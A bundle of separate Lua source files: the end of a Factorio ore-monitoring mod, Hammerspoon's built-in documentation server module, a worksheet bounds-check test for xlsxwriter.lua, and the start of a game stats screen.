if player_data.remote_viewer and player_data.remote_viewer.valid then
player_data.remote_viewer.destroy()
end
player_data.remote_viewer = viewer
end
resmon.update_force_members_ui(player)
end
-- one button handler for both the expand_site and expand_site_cancel buttons
function resmon.on_click.expand_site(event)
local site_name = string.sub(event.element.name, 1 + string.len("YARM_expand_site_"))
local player = game.players[event.player_index]
local player_data = global.player_data[event.player_index]
local force_data = global.force_data[player.force.name]
local site = force_data.ore_sites[site_name]
local are_we_cancelling_expand = site.is_site_expanding
--[[ we want to submit the site if we're cancelling the expansion (mostly because submitting the
site cleans up the expansion-related variables on the site) or if we were adding a new site
and decide to expand an existing one
--]]
if are_we_cancelling_expand or player_data.current_site then
resmon.submit_site(event.player_index)
end
--[[ this is to handle cancelling an expansion (by clicking the red button) - submitting the site is
all we need to do in this case ]]
if are_we_cancelling_expand then
resmon.update_force_members_ui(player)
return
end
resmon.pull_YARM_item_to_cursor_if_possible(event.player_index)
if player.cursor_stack.valid_for_read and player.cursor_stack.name == "resource-monitor" then
site.is_site_expanding = true
player_data.current_site = site
resmon.update_force_members_ui(player)
resmon.start_recreate_overlay_existing_site(event.player_index)
end
end
function resmon.pull_YARM_item_to_cursor_if_possible(player_index)
local player = game.players[player_index]
if player.cursor_stack.valid_for_read and player.cursor_stack.name == "resource-monitor" then -- happy days!
return
elseif player.cursor_stack.valid_for_read then -- they've already got something else on their cursor
player.print{"YARM-warn-please-empty-cursor"}
return
elseif player.get_item_count("resource-monitor") == 0 then
player.print{"YARM-warn-no-YARM-item"}
return
end
player.remove_item({name="resource-monitor", count=1})
player.cursor_stack.set_stack({name="resource-monitor", count=1})
end
function resmon.start_recreate_overlay_existing_site(player_index)
local site = global.player_data[player_index].current_site
site.is_overlay_being_created = true
-- forcible cleanup in case we got interrupted during a previous background overlay attempt
site.entities_to_be_overlaid = {}
site.entities_to_be_overlaid_count = 0
site.next_to_overlay = {}
site.next_to_overlay_count = 0
for key,pos in pairs(site.entity_table) do
local ent = site.surface.find_entity(site.ore_type, pos)
if ent and ent.valid then
site.entities_to_be_overlaid[key] = pos
site.entities_to_be_overlaid_count = site.entities_to_be_overlaid_count + 1
end
end
end
function resmon.process_overlay_for_existing_site(player_index)
local player_data = global.player_data[player_index]
local site = player_data.current_site
if site.next_to_overlay_count == 0 then
if site.entities_to_be_overlaid_count == 0 then
resmon.end_overlay_creation_for_existing_site(player_index)
return
else
local ent_key, ent_pos = next(site.entities_to_be_overlaid)
site.next_to_overlay[ent_key] = ent_pos
site.next_to_overlay_count = site.next_to_overlay_count + 1
end
end
local to_scan = math.min(30, site.next_to_overlay_count)
for i = 1, to_scan do
local ent_key, ent_pos = next(site.next_to_overlay)
local entity = site.surface.find_entity(site.ore_type, ent_pos)
local entity_position = entity.position
local surface = entity.surface
local key = position_to_string(entity_position)
-- put marker down
resmon.put_marker_at(surface, entity_position, player_data)
-- remove it from our to-do lists
site.entities_to_be_overlaid[key] = nil
site.entities_to_be_overlaid_count = site.entities_to_be_overlaid_count - 1
site.next_to_overlay[key] = nil
site.next_to_overlay_count = site.next_to_overlay_count - 1
-- Look in every direction around this entity...
for _, dir in pairs(defines.direction) do
-- ...and if there's a resource that's not already overlaid, add it
local found = find_resource_at(surface, shift_position(entity_position, dir))
if found and found.name == site.ore_type then
local offsetkey = position_to_string(found.position)
if site.entities_to_be_overlaid[offsetkey] ~= nil and site.next_to_overlay[offsetkey] == nil then
site.next_to_overlay[offsetkey] = found.position
site.next_to_overlay_count = site.next_to_overlay_count + 1
end
end
end
end
end
function resmon.end_overlay_creation_for_existing_site(player_index)
local site = global.player_data[player_index].current_site
site.is_overlay_being_created = false
site.finalizing = true
site.finalizing_since = game.tick
end
function resmon.update_force_members_ui(player)
for _, p in pairs(player.force.players) do
resmon.update_ui(p)
end
end
function resmon.on_gui_click(event)
if resmon.on_click[event.element.name] then
resmon.on_click[event.element.name](event)
elseif string.starts_with(event.element.name, "YARM_delete_site_") then
resmon.on_click.remove_site(event)
elseif string.starts_with(event.element.name, "YARM_rename_site_") then
resmon.on_click.rename_site(event)
elseif string.starts_with(event.element.name, "YARM_goto_site_") then
resmon.on_click.goto_site(event)
elseif string.starts_with(event.element.name, "YARM_expand_site_") then
resmon.on_click.expand_site(event)
end
end
function resmon.on_click.YARM_expando(event)
local player = game.players[event.player_index]
local player_data = global.player_data[event.player_index]
player_data.expandoed = not player_data.expandoed
if player_data.expandoed then
player.gui.left.YARM_root.buttons.YARM_expando.style = "YARM_expando_long"
else
player.gui.left.YARM_root.buttons.YARM_expando.style = "YARM_expando_short"
end
resmon.update_ui(player)
end
function resmon.update_players(event)
for index, player in pairs(game.players) do
local player_data = global.player_data[index]
if not player_data then
resmon.init_player(index)
elseif not player.connected and player_data.current_site then
resmon.clear_current_site(index)
end
if player_data.current_site then
local site = player_data.current_site
if #site.next_to_scan > 0 then
resmon.scan_current_site(index)
elseif not site.finalizing then
resmon.finalize_site(index)
elseif site.finalizing_since + 600 == event.tick then
resmon.submit_site(index)
end
if site.is_overlay_being_created then
resmon.process_overlay_for_existing_site(index)
end
end
if event.tick % player_data.gui_update_ticks == 15 + index then
resmon.update_ui(player)
end
end
end
function resmon.update_forces(event)
local update_cycle = event.tick % settings.global["YARM-ticks-between-checks"].value
for _, force in pairs(game.forces) do
local force_data = global.force_data[force.name]
if not force_data then
resmon.init_force(force)
elseif force_data and force_data.ore_sites then
for _, site in pairs(force_data.ore_sites) do
resmon.count_deposits(site, update_cycle)
end
end
end
end
function resmon.on_tick(event)
resmon.update_players(event)
resmon.update_forces(event)
end
|
--- === hs.doc.hsdocs ===
---
--- Manage the internal documentation web server.
---
--- This module provides functions for managing the Hammerspoon built-in documentation web server. Currently, this is the same documentation available in the Dash docset for Hammerspoon, but does not require third party software for viewing.
---
--- Future enhancements to this module under consideration include:
--- * Support for third-party modules to add to the documentation set at run-time
--- * Markdown/HTML based tutorials and How-To examples
--- * Documentation for the LuaSkin Objective-C Framework
--- * Lua Reference documentation
---
--- The intent of this sub-module is to provide as close a rendering of the same documentation available at the Hammerspoon Github site and Dash documentation as possible in a manner suitable for run-time modification so module developers can test out documentation additions without requiring a complete recompilation of the Hammerspoon source. As always, the most current and official documentation can be found at http://www.hammerspoon.org and in the official Hammerspoon Dash docset.
local module = {}
-- private variables and methods -----------------------------------------
local USERDATA_TAG = "hs.doc.hsdocs"
local settings = require"hs.settings"
local image = require"hs.image"
local webview = require"hs.webview"
local doc = require"hs.doc"
local watchable = require"hs.watchable"
local timer = require"hs.timer"
local host = require"hs.host"
local hotkey = require"hs.hotkey"
local documentRoot = package.searchpath("hs.doc.hsdocs", package.path):match("^(/.*/).*%.lua$")
local osVersion = host.operatingSystemVersion()
local toolbarImages = {
prevArrow = image.imageFromASCII(".......\n" ..
"..3....\n" ..
".......\n" ..
"41....1\n" ..
".......\n" ..
"..5....\n" ..
".......",
{
{ strokeColor = { white = .5 } },
{ strokeColor = { white = .5 }, fillColor = { alpha = 0.0 }, shouldClose = false },
{},
}),
nextArrow = image.imageFromASCII(".......\n" ..
"....3..\n" ..
".......\n" ..
"1....14\n" ..
".......\n" ..
"....5..\n" ..
".......",
{
{ strokeColor = { white = .5 } },
{ strokeColor = { white = .5 }, fillColor = { alpha = 0.0 }, shouldClose = false },
{}
}),
lightMode = image.imageFromASCII("1.........2\n" ..
"...........\n" ..
"...........\n" ..
".....b.....\n" ..
"...........\n" ..
"...........\n" ..
"....e.f....\n" ..
"...........\n" ..
"...a...c...\n" ..
"...........\n" ..
"4.........3",
{
{ strokeColor = { white = .5 }, fillColor = { alpha = 0.0 } },
{ strokeColor = { white = .5 }, fillColor = { alpha = 0.0 }, shouldClose = false },
{ strokeColor = { white = .5 } },
{}
}),
darkMode = image.imageFromASCII("1.........2\n" ..
"...........\n" ..
"...........\n" ..
".....b.....\n" ..
"...........\n" ..
"...........\n" ..
"....e.f....\n" ..
"...........\n" ..
"...a...c...\n" ..
"...........\n" ..
"4.........3",
{
{ strokeColor = { white = .75 }, fillColor = { alpha = 0.5 } },
{ strokeColor = { white = .75 }, fillColor = { alpha = 0.0 }, shouldClose = false },
{ strokeColor = { white = .75 } },
{}
}),
followMode = image.imageFromASCII("2.........3\n" ..
"...........\n" ..
".....g.....\n" ..
"...........\n" ..
"1...f.h...4\n" ..
"6...b.c...9\n" ..
"...........\n" ..
"...a...d...\n" ..
"...........\n" ..
"7.........8",
{
{ strokeColor = { white = .5 }, fillColor = { alpha = 0.0 }, shouldClose = false },
{ strokeColor = { white = .75 }, fillColor = { alpha = 0.5 }, shouldClose = false },
{ strokeColor = { white = .75 }, fillColor = { alpha = 0.0 }, shouldClose = false },
{ strokeColor = { white = .5 }, fillColor = { alpha = 0.0 }, shouldClose = true },
{}
}),
noTrackWindow = image.imageFromASCII("1.........2\n" ..
"4.........3\n" ..
"6.........7\n" ..
"...........\n" ..
"...........\n" ..
"...........\n" ..
"...........\n" ..
"...........\n" ..
"...........\n" ..
"9.........8",
{
{ strokeColor = { white = .5 }, fillColor = { alpha = 0.25 }, shouldClose = false },
{ strokeColor = { white = .5 }, fillColor = { alpha = 0.0 }},
{}
}),
trackWindow = image.imageFromASCII("1.......2..\n" ..
"4.......3..\n" ..
"6.......7.c\n" ..
"...........\n" ..
"...........\n" ..
"...........\n" ..
"...........\n" ..
"9.......8..\n" ..
"...........\n" ..
"..a.......b",
{
{ strokeColor = { white = .5 }, fillColor = { alpha = 0.25 }, shouldClose = false },
{ strokeColor = { white = .5 }, fillColor = { alpha = 0.0 }},
{ strokeColor = { white = .6 }, fillColor = { alpha = 0.0 }, shouldClose = false},
{}
}),
index = image.imageFromName("statusicon"),
help = image.imageFromName(image.systemImageNames.RevealFreestandingTemplate),
}
local frameTracker = function(cmd, wv, opt)
if cmd == "frameChange" and settings.get("_documentationServer.trackBrowserFrameChanges") then
settings.set("_documentationServer.browserFrame", opt)
elseif cmd == "focusChange" then
if module._modalKeys then
if opt then module._modalKeys:enter() else module._modalKeys:exit() end
end
elseif cmd == "close" then
if module._modalKeys then module._modalKeys:exit() end
end
end
local updateToolbarIcons = function(toolbar, browser)
local historyList = browser:historyList()
if historyList.current > 1 then
toolbar:modifyItem{ id = "prev", enable = true }
else
toolbar:modifyItem{ id = "prev", enable = false }
end
if historyList.current < #historyList then
toolbar:modifyItem{ id = "next", enable = true }
else
toolbar:modifyItem{ id = "next", enable = false }
end
local mode = module.browserDarkMode()
if type(mode) == "nil" then
toolbar:modifyItem{ id = "mode", image = toolbarImages.followMode }
elseif type(mode) == "boolean" then
toolbar:modifyItem{ id = "mode", image = mode and toolbarImages.darkMode or toolbarImages.lightMode }
elseif type(mode) == "number" then
toolbar:modifyItem{ id = "mode", image = (mode > 50) and toolbarImages.darkMode or toolbarImages.lightMode }
end
toolbar:modifyItem{ id = "track", image = module.trackBrowserFrame() and toolbarImages.trackWindow or toolbarImages.noTrackWindow }
end
local makeModuleListForMenu = function()
local searchList = {}
for i,v in ipairs(doc._jsonForModules) do
table.insert(searchList, v.name)
end
for i,v in ipairs(doc._jsonForSpoons) do
table.insert(searchList, "spoon." .. v.name)
end
table.sort(searchList, function(a, b) return a:lower() < b:lower() end)
return searchList
end
local makeToolbar = function(browser)
local toolbar = webview.toolbar.new("hsBrowserToolbar", {
{
id = "index",
label = "Index",
image = toolbarImages.index,
tooltip = "Display documentation index",
},
{
id = "navigation",
label = "Navigation",
groupMembers = { "prev", "next" },
},
{
id = "prev",
tooltip = "Display previously viewed page in history",
image = toolbarImages.prevArrow,
enable = false,
allowedAlone = false,
},
{
id = "next",
tooltip = "Display next viewed page in history",
image = toolbarImages.nextArrow,
enable = false,
allowedAlone = false,
},
{
id = "search",
tooltip = "Search for a Hammerspoon function or method by name",
searchfield = true,
searchWidth = 250,
searchPredefinedSearches = makeModuleListForMenu(),
searchPredefinedMenuTitle = false,
searchReleaseFocusOnCallback = true,
fn = function(t, w, i, text)
if text ~= "" then w:url("http://localhost:" .. tostring(module._server:port()) .. "/module.lp/" .. text) end
end,
},
{ id = "NSToolbarFlexibleSpaceItem" },
{
id = "mode",
tooltip = "Toggle display mode between System/Dark/Light",
image = toolbarImages.followMode,
},
{
id = "track",
tooltip = "Toggle window frame tracking",
image = toolbarImages.noTrackWindow,
},
{ id = "NSToolbarSpaceItem" },
{
id = "help",
tooltip = "Display Browser Help",
image = toolbarImages.help,
fn = function(t, w, i) w:evaluateJavaScript("toggleHelp()") end,
}
}):canCustomize(true)
:displayMode("icon")
:sizeMode("small")
:autosaves(true)
:setCallback(function(t, w, i)
if i == "prev" then w:goBack()
elseif i == "next" then w:goForward()
elseif i == "index" then w:url("http://localhost:" .. tostring(module._server:port()) .. "/")
elseif i == "mode" then
local mode = module.browserDarkMode()
if type(mode) == "nil" then
module.browserDarkMode(true)
elseif type(mode) == "boolean" then
if mode then
module.browserDarkMode(false)
else
module.browserDarkMode(nil)
end
elseif type(mode) == "number" then
if mode < 50 then
module.browserDarkMode(false)
else
module.browserDarkMode(true)
end
else
-- shouldn't be possible, but...
module.browserDarkMode(nil)
end
-- w:reload()
local current = module.browserDarkMode()
if type(current) == "nil" then current = (host.interfaceStyle() == "Dark") end
w:evaluateJavaScript("setInvertLevel(" .. (current and "100" or "0") .. ")")
module._browser:darkMode(current)
elseif i == "track" then
local track = module.trackBrowserFrame()
if track then
module.browserFrame(nil)
end
module.trackBrowserFrame(not track)
else
hs.luaSkinLog.wf("%s browser callback received %s and has no handler", USERDATA_TAG, i)
end
updateToolbarIcons(t, w)
end)
updateToolbarIcons(toolbar, browser)
return toolbar
end
local defineHotkeys = function()
local hk = hotkey.modal.new()
hk:bind({"cmd"}, "f", nil, function() module._browser:evaluateJavaScript("toggleFind()") end)
hk:bind({"cmd"}, "l", nil, function()
if module._browser:attachedToolbar() then
module._browser:attachedToolbar():selectSearchField()
end
end)
hk:bind({"cmd"}, "r", nil, function() module._browser:evaluateJavaScript("window.location.reload(true)") end)
hk:bind({}, "escape", nil, function()
module._browser:evaluateJavaScript([[ document.getElementById("helpStuff").style.display == "block" ]], function(ans1)
if ans1 then module._browser:evaluateJavaScript("toggleHelp()") end
module._browser:evaluateJavaScript([[ document.getElementById("searcher").style.display == "block" ]], function(ans2)
if ans2 then module._browser:evaluateJavaScript("toggleFind()") end
if not ans1 and not ans2 then
module._browser:hide()
hk:exit()
end
end)
end)
end)
hk:bind({"cmd"}, "g", nil, function()
module._browser:evaluateJavaScript([[ document.getElementById("searcher").style.display == "block" ]], function(ans)
if ans then
module._browser:evaluateJavaScript("searchForText(0)")
end
end)
end)
hk:bind({"cmd", "shift"}, "g", nil, function()
module._browser:evaluateJavaScript([[ document.getElementById("searcher").style.display == "block" ]], function(ans)
if ans then
module._browser:evaluateJavaScript("searchForText(1)")
end
end)
end)
-- because these would interfere with the search field, we let Javascript handle these, see search.lp
-- hk:bind({}, "return", nil, function() end)
-- hk:bind({"shift"}, "return", nil, function() end)
return hk
end
local makeBrowser = function()
local screen = require"hs.screen"
local mainScreenFrame = screen:primaryScreen():frame()
local browserFrame = settings.get("_documentationServer.browserFrame")
if not (browserFrame and browserFrame.x and browserFrame.y and browserFrame.h and browserFrame.w) then
browserFrame = {
x = mainScreenFrame.x + 10,
y = mainScreenFrame.y + 32,
h = mainScreenFrame.h - 42,
w = 800
}
end
local options = {
developerExtrasEnabled = true,
}
if (osVersion["major"] == 10 and osVersion["minor"] > 10) then
options.privateBrowsing = true
options.applicationName = "Hammerspoon/" .. hs.processInfo.version
end
-- not used anymore, but just in case, I'm leaving the skeleton here...
-- local ucc = webview.usercontent.new("hsdocs"):setCallback(function(obj)
---- if obj.body == "message" then
---- else
-- print("~~ hsdocs unexpected ucc callback: ", require("hs.inspect")(obj))
---- end
-- end)
-- local browser = webview.new(browserFrame, options, ucc):windowStyle(1+2+4+8)
local browser = webview.new(browserFrame, options):windowStyle(1+2+4+8)
:allowTextEntry(true)
:allowGestures(true)
:windowCallback(frameTracker)
:navigationCallback(function(a, w, n, e)
if e then
hs.luaSkinLog.ef("%s browser navigation for %s error:%s", USERDATA_TAG, a, e.localizedDescription)
return true
end
if a == "didFinishNavigation" then
updateToolbarIcons(w:attachedToolbar(), w)
end
end)
module._modalKeys = defineHotkeys()
browser:attachedToolbar(makeToolbar(browser))
return browser
end
-- Public interface ------------------------------------------------------
module._moduleListChanges = watchable.watch("hs.doc", "changeCount", function(w, p, k, o, n)
if module._browser then
module._browser:attachedToolbar():modifyItem{
id = "search",
searchPredefinedSearches = makeModuleListForMenu(),
}
end
end)
--- hs.doc.hsdocs.interface([interface]) -> currentValue
--- Function
--- Get or set the network interface that the Hammerspoon documentation web server will be served on
---
--- Parameters:
--- * interface - an optional string, or nil, specifying the network interface the Hammerspoon documentation web server will be served on. An explicit nil specifies that the web server should listen on all active interfaces for the machine. Defaults to "localhost".
---
--- Returns:
--- * the current, possibly new, value
---
--- Notes:
--- * See `hs.httpserver.setInterface` for a description of valid values that can be specified as the `interface` argument to this function.
--- * A change to the interface can only occur when the documentation server is not running. If the server is currently active when you call this function with an argument, the server will be temporarily stopped and then restarted after the interface has been changed.
---
--- * Changes made with this function are saved with `hs.settings` with the label "_documentationServer.interface" and will persist through a reload or restart of Hammerspoon.
module.interface = function(...)
local args = table.pack(...)
if args.n > 0 then
local newValue, needRestart = args[1], false
if newValue == nil or type(newValue) == "string" then
if module._server then
needRestart = true
module.stop()
end
if newValue == nil then
settings.set("_documentationServer.interface", true)
else
settings.set("_documentationServer.interface", newValue)
end
if needRestart then
module.start()
end
else
error("interface must be nil or a string", 2)
end
end
local current = settings.get("_documentationServer.interface") or "localhost"
if current == true then
return nil -- since nil has no meaning to settings, we use this boolean value as a placeholder
else
return current
end
end
--- hs.doc.hsdocs.port([value]) -> currentValue
--- Function
--- Get or set the Hammerspoon documentation server HTTP port.
---
--- Parameters:
--- * value - an optional number specifying the port for the Hammerspoon documentation web server
---
--- Returns:
--- * the current, possibly new, value
---
--- Notes:
--- * The default port number is 12345.
---
--- * Changes made with this function are saved with `hs.settings` with the label "_documentationServer.serverPort" and will persist through a reload or restart of Hammerspoon.
module.port = function(...)
local args = table.pack(...)
local value = args[1]
if args.n == 1 and (type(value) == "number" or type(value) == "nil") then
if module._server then
module._server:port(value or 12345)
end
settings.set("_documentationServer.serverPort", value)
end
return settings.get("_documentationServer.serverPort") or 12345
end
--- hs.doc.hsdocs.start() -> `hs.doc.hsdocs`
--- Function
--- Start the Hammerspoon internal documentation web server.
---
--- Parameters:
--- * None
---
--- Returns:
--- * the table representing the `hs.doc.hsdocs` module
---
--- Notes:
--- * This function is automatically called, if necessary, when [hs.doc.hsdocs.help](#help) is invoked.
--- * The documentation web server can be viewed from a web browser by visiting "http://localhost:port" where `port` is the port the server is running on, 12345 by default -- see [hs.doc.hsdocs.port](#port).
module.start = function()
if module._server then
error("documentation server already running")
else
module._server = require"hs.httpserver.hsminweb".new(documentRoot)
module._server:port(module.port())
:name("Hammerspoon Documentation")
:bonjour(true)
:luaTemplateExtension("lp")
:interface(module.interface())
:directoryIndex{
"index.html", "index.lp",
}:start()
module._server._logBadTranslations = true
module._server._logPageErrorTranslations = true
module._server._allowRenderTranslations = true
end
return module
end
--- hs.doc.hsdocs.stop() -> `hs.doc.hsdocs`
--- Function
--- Stop the Hammerspoon internal documentation web server.
---
--- Parameters:
--- * None
---
--- Returns:
--- * the table representing the `hs.doc.hsdocs` module
module.stop = function()
if not module._server then
error("documentation server not running")
else
module._server:stop()
module._server = nil
end
return module
end
--- hs.doc.hsdocs.help([identifier]) -> nil
--- Function
--- Display the documentation for the specified Hammerspoon function, or the Table of Contents for the Hammerspoon documentation in a built-in mini browser.
---
--- Parameters:
--- * an optional string specifying a Hammerspoon module, function, or method to display documentation for. If you leave out this parameter, the table of contents for the Hammerspoon built-in documentation is displayed instead.
---
--- Returns:
--- * None
module.help = function(target)
if not module._server then module.start() end
local targetURL = "http://localhost:" .. tostring(module._server:port()) .. "/"
if type(target) == "string" then
targetURL = targetURL .. "module.lp/" .. target
elseif type(target) == "table" and target.__path then
targetURL = targetURL .. "module.lp/" .. target.__path
end
if webview and not settings.get("_documentationServer.forceExternalBrowser") then
module._browser = module._browser or makeBrowser()
module._browser:url(targetURL):show()
else
local targetApp = settings.get("_documentationServer.forceExternalBrowser")
local urlevent = require"hs.urlevent"
if type(targetApp) == "boolean" then
targetApp = urlevent.getDefaultHandler("http")
end
if not urlevent.openURLWithBundle(targetURL, targetApp) then
hs.luaSkinLog.wf("%s.help - hs.urlevent.openURLWithBundle failed to launch for bundle ID %s", USERDATA_TAG, targetApp)
os.execute("/usr/bin/open " .. targetURL)
end
end
end
--- hs.doc.hsdocs.browserFrame([frameTable]) -> currentValue
--- Function
--- Get or set the currently saved initial frame location for the documentation browser.
---
--- Parameters:
--- * frameTable - a frame table containing x, y, h, and w values specifying the browser's initial position when Hammerspoon starts.
---
--- Returns:
--- * the current, possibly new, value
---
--- Notes:
--- * If [hs.doc.hsdocs.trackBrowserFrame](#trackBrowserFrame) is false or nil (the default), then you can use this function to specify the initial position of the documentation browser.
--- * If [hs.doc.hsdocs.trackBrowserFrame](#trackBrowserFrame) is true, then this any value set with this function will be overwritten whenever the browser window is moved or resized.
---
--- * Changes made with this function are saved with `hs.settings` with the label "_documentationServer.browserFrame" and will persist through a reload or restart of Hammerspoon.
module.browserFrame = function(...)
local args = table.pack(...)
local value = args[1]
if args.n == 1 and (type(value) == "table" or type(value) == "nil") then
if value and value.x and value.y and value.h and value.w then
settings.set("_documentationServer.browserFrame", value)
end
end
return settings.get("_documentationServer.browserFrame")
end
--- hs.doc.hsdocs.trackBrowserFrame([value]) -> currentValue
--- Function
--- Get or set whether or not changes in the documentation browsers location and size persist through launches of Hammerspoon.
---
--- Parameters:
--- * value - an optional boolean specifying whether or not the browsers location should be saved across launches of Hammerspoon.
---
--- Returns:
--- * the current, possibly new, value
---
--- Notes:
--- * Changes made with this function are saved with `hs.settings` with the label "_documentationServer.trackBrowserFrameChanges" and will persist through a reload or restart of Hammerspoon.
module.trackBrowserFrame = function(...)
local args = table.pack(...)
if args.n == 1 and (type(args[1]) == "boolean" or type(args[1]) == "nil") then
settings.set("_documentationServer.trackBrowserFrameChanges", args[1])
end
return settings.get("_documentationServer.trackBrowserFrameChanges")
end
--- hs.doc.hsdocs.moduleEntitiesInSidebar([value]) -> currentValue
--- Function
--- Get or set whether or not a module's entity list is displayed as a column on the left of the rendered page.
---
--- Parameters:
--- * value - an optional boolean specifying whether or not a module's entity list is displayed inline in the documentation (false) or in a sidebar on the left (true).
---
--- Returns:
--- * the current, possibly new, value
---
--- Notes:
--- * This is experimental and is disabled by default. It was inspired by a Userscript written by krasnovpro. The original can be found at https://openuserjs.org/scripts/krasnovpro/hammerspoon.org_Documentation/source.
---
--- * Changes made with this function are saved with `hs.settings` with the label "_documentationServer.entitiesInSidebar" and will persist through a reload or restart of Hammerspoon.
module.moduleEntitiesInSidebar = function(...)
local args = table.pack(...)
if args.n == 1 and (type(args[1]) == "boolean" or type(args[1]) == "nil") then
settings.set("_documentationServer.entitiesInSidebar", args[1])
end
return settings.get("_documentationServer.entitiesInSidebar")
end
--- hs.doc.hsdocs.browserDarkMode([value]) -> currentValue
--- Function
--- Get or set whether or not the Hammerspoon browser renders output in Dark mode.
---
--- Parameters:
--- * value - an optional boolean, number, or nil specifying whether or not the documentation browser renders in Dark mode.
--- * if value is `true`, then the HTML output will always be inverted
--- * if value is `false`, then the HTML output will never be inverted
--- * if value is `nil`, then the output will be inverted only when the OS X theme is set to Dark mode
--- * if the value is a number between 0 and 100, the number specifies the inversion ratio, where 0 means no inversion, 100 means full inversion, and 50 is completely unreadable because the foreground and background are equally adjusted.
---
--- Returns:
--- * the current, possibly new, value
---
--- Notes:
--- * Inversion is applied through the use of CSS filtering, so while numeric values other than 0 (false) and 100 (true) are allowed, the result is generally not what is desired.
---
--- * Changes made with this function are saved with `hs.settings` with the label "_documentationServer.invertDocs" and will persist through a reload or restart of Hammerspoon.
module.browserDarkMode = function(...)
local args = table.pack(...)
local value = args[1]
if args.n == 1 and ({ ["number"] = 1, ["boolean"] = 1, ["nil"] = 1 })[type(value)] then
if type(value) == "number" then value = (value < 0 and 0) or (value > 100 and 100) or value end
settings.set("_documentationServer.invertDocs", value)
end
return settings.get("_documentationServer.invertDocs")
end
--- hs.doc.hsdocs.forceExternalBrowser([value]) -> currentValue
--- Function
--- Get or set whether or not [hs.doc.hsdocs.help](#help) uses an external browser.
---
--- Parameters:
--- * value - an optional boolean or string, default false, specifying whether or not documentation requests will be displayed in an external browser or the internal one handled by `hs.webview`.
---
--- Returns:
--- * the current, possibly new, value
---
--- Notes:
--- * If this value is set to true, help requests invoked by [hs.doc.hsdocs.help](#help) will be invoked by your system's default handler for the `http` scheme.
--- * If this value is set to a string, the string specifies the bundle ID of an application which will be used to handle the url request for the documentation. The string should match one of the items returned by `hs.urlevent.getAllHandlersForScheme("http")`.
---
--- * This behavior is triggered automatically, regardless of this setting, if you are running with a version of OS X prior to 10.10, since `hs.webview` requires OS X 10.10 or later.
---
--- * Changes made with this function are saved with `hs.settings` with the label "_documentationServer.forceExternalBrowser" and will persist through a reload or restart of Hammerspoon.
module.forceExternalBrowser = function(...)
local args = table.pack(...)
local value = args[1]
if args.n == 1 and (type(value) == "string" or type(value) == "boolean" or type(value) == "nil") then
if type(value) == "string" then
local validBundleIDs = require"hs.urlevent".getAllHandlersForScheme("http")
local found = false
for i, v in ipairs(validBundleIDs) do
if v == value then
found = true
break
end
end
if not found then
error([[the string must match one of those returned by hs.urlevent.getAllHandlersForScheme("http")]])
end
end
settings.set("_documentationServer.forceExternalBrowser", args[1])
end
return settings.get("_documentationServer.forceExternalBrowser")
end
-- Return Module Object --------------------------------------------------
return module
|
----
-- Tests for the xlsxwriter.lua worksheet class.
--
-- Copyright 2014-2015, John McNamara, [email protected]
--
require "Test.More"
require "Test.LongString"
plan(20)
----
-- Tests setup.
--
local expected
local got
local caption
local Worksheet = require "xlsxwriter.worksheet"
local worksheet
local SST = require "xlsxwriter.sharedstrings"
-- Remove extra whitespace in the formatted XML strings.
function _clean_xml_string(s)
return (string.gsub(s, ">%s+<", "><"))
end
----
-- Test the _write_worksheet() method.
--
caption = " \tWorksheet: Worksheet: _assemble_xml_file()"
expected = _clean_xml_string([[
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
<dimension ref="A1:D3"/>
<sheetViews>
<sheetView tabSelected="1" workbookViewId="0"/>
</sheetViews>
<sheetFormatPr defaultRowHeight="15"/>
<cols>
<col min="1" max="4" width="17.7109375" customWidth="1"/>
</cols>
<sheetData>
<row r="1" spans="1:4">
<c r="A1" t="s">
<v>0</v>
</c>
</row>
<row r="3" spans="1:4">
<c r="A3" t="s">
<v>1</v>
</c>
<c r="D3" t="s">
<v>2</v>
</c>
</row>
</sheetData>
<pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/>
</worksheet>]])
worksheet = Worksheet:new()
worksheet:_set_filehandle(io.tmpfile())
worksheet.str_table = SST:new()
max_row = 1048576
max_col = 16384
bound_error = -1
-- Test some out of bound values.
got = worksheet:write(max_row, 0, 'Foo')
is(got, bound_error, " \ttest write() bounds checks.")
got = worksheet:write(0, max_col, 'Foo')
is(got, bound_error, " \ttest write() bounds checks.")
got = worksheet:write(max_row, max_col, 'Foo')
is(got, bound_error, " \ttest write() bounds checks.")
got = worksheet:write(max_row, 0, 123)
is(got, bound_error, " \ttest write() bounds checks.")
got = worksheet:write(0, max_col, 123)
is(got, bound_error, " \ttest write() bounds checks.")
got = worksheet:write(max_row, max_col, 123)
is(got, bound_error, " \ttest write() bounds checks.")
got = worksheet:write(max_row, 0, nil, 'format')
is(got, bound_error, " \ttest write() bounds checks.")
got = worksheet:write(0, max_col, nil, 'format')
is(got, bound_error, " \ttest write() bounds checks.")
got = worksheet:write(max_row, max_col, nil, 'format')
is(got, bound_error, " \ttest write() bounds checks.")
got = worksheet:write(max_row, 0, '=A1')
is(got, bound_error, " \ttest write() bounds checks.")
got = worksheet:write(0, max_col, '=A1')
is(got, bound_error, " \ttest write() bounds checks.")
got = worksheet:write(max_row, max_col, '=A1')
is(got, bound_error, " \ttest write() bounds checks.")
got = worksheet:write_array_formula(0, 0, 0, max_col, '=A1')
is(got, bound_error, " \ttest write() bounds checks.")
got = worksheet:write_array_formula(0, 0, max_row, 0, '=A1')
is(got, bound_error, " \ttest write() bounds checks.")
got = worksheet:write_array_formula(0, max_col, 0, 0, '=A1')
is(got, bound_error, " \ttest write() bounds checks.")
got = worksheet:write_array_formula(max_row, 0, 0, 0, '=A1')
is(got, bound_error, " \ttest write() bounds checks.")
got = worksheet:write_array_formula(max_row, max_col, max_row, max_col, '=A1')
is(got, bound_error, " \ttest write() bounds checks.")
-- Column out of bounds.
got = worksheet:set_column(6, max_col, 17)
is(got, bound_error, " \ttest write() bounds checks.")
got = worksheet:set_column(max_col, 6, 17)
is(got, bound_error, " \ttest write() bounds checks.")
-- Row out of bounds.
worksheet:set_row(max_row, 30)
-- Reverse man and min column numbers
worksheet:set_column(0, 3, 17)
-- Write some valid strings.
worksheet:write(0, 0, 'Foo')
worksheet:write(2, 0, 'Bar')
worksheet:write(2, 3, 'Baz')
worksheet:select()
worksheet:_assemble_xml_file()
got = _clean_xml_string(worksheet:_get_data())
is_string(got, expected, caption)
|
gamestats = {}
function gamestats:enter(previous)
self.previous = previous
self.yModPerc = 100
self.screen = "stats"
self.cursorX,self.cursorY=1,1
tween(0.2,self,{yModPerc=0})
